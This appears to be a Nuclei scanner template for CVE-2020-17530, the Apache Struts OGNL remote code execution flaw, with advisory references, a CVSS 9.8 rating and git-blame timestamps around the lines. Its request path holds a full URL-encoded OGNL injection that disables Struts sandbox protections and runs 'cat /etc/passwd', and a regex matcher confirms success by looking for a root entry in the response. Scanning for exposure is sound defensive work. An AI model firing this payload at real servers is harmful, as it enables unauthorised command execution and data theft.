2021-01-27 18:47:58 +00:00
id : CVE-2020-17530
info :
2022-04-29 19:58:07 +00:00
name : Apache Struts 2.0.0-2.5.25 - Remote Code Execution
2021-01-27 18:47:58 +00:00
author : pikpikcu
severity : critical
2022-04-29 19:58:07 +00:00
description : Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
2021-08-18 11:37:49 +00:00
reference :
2021-03-11 14:23:41 +00:00
- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
- http://jvn.jp/en/jp/JVN43969166/index.html
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://security.netapp.com/advisory/ntap-20210115-0005/
2022-04-29 19:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-17530
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-17530
cwe-id : CWE-917
2022-08-27 04:41:18 +00:00
tags : cve,cve2020,apache,rce,struts,kev,packetstorm
2021-03-11 20:16:35 +00:00
2021-01-27 18:47:58 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
matchers-condition : and
matchers :
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-01-27 19:03:03 +00:00
part : body
2022-04-29 19:58:07 +00:00
# Enhanced by mp on 2022/04/27